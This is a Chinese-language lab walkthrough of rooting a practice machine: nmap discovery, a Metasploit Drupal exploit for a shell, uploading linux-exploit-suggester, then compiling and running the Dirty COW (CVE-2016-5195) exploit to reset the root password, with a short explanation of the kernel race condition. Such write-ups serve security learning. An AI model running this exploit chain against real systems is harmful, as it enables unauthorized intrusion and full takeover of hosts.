CVE-2016-5195 脏牛提权(Dirty Cow)

主机发现

首先用nmap扫描

1
nmap 192.168.232.0/24

image-20230102161738555

知道了IP地址之后,然后查看开放了哪些端口

1
nmap -p 1-65535 192.168.232.139

image-20230102162111921

扫到了1898端口

image-20230102162151975

发现是一个网站

image-20230102162220806

这时就直接百度,看看这个站历史有没有曝出什么漏洞

漏洞发现

百度发现drupal是存在漏洞的

用msf

image-20230102164309247

发现可用的exp还是挺多的,一个一个试就行

直接使用2018的那个

image-20230102164435160

设置参数

image-20230102164707442

拿到shell

image-20230102164732597

image-20230102164921100

发现tmp目录

tmp目录是临时文件目录,可读可写可执行,重启之后目录会清空

发现是linux系统

image-20230102175154587

权限提升

此时上传linux的漏洞探测脚本

1
upload linux-exploit-suggester.sh /tmp

image-20230102175702832

然后在shell界面赋权运行

image-20230102181139741

扫出一大堆漏洞,还有著名的脏牛漏洞

image-20230102181245717

1
2
3
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil       #编译
python -c 'import pty; pty.spawn("/bin/bash")' #开启交互式,否则无法运行
./dcow

image-20230102184647440

成功,该exp修改了root密码为dirtyCowFun

试一下

image-20230102184942664

成功

总结

脏牛成因

get_user_page内核函数在处理Copy-on-Write的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。修改su或者passwd程序就可以达到root的目的。

影响范围

Linux kernel >= 2.6.22

编号 CVE-2016-5195

查看评论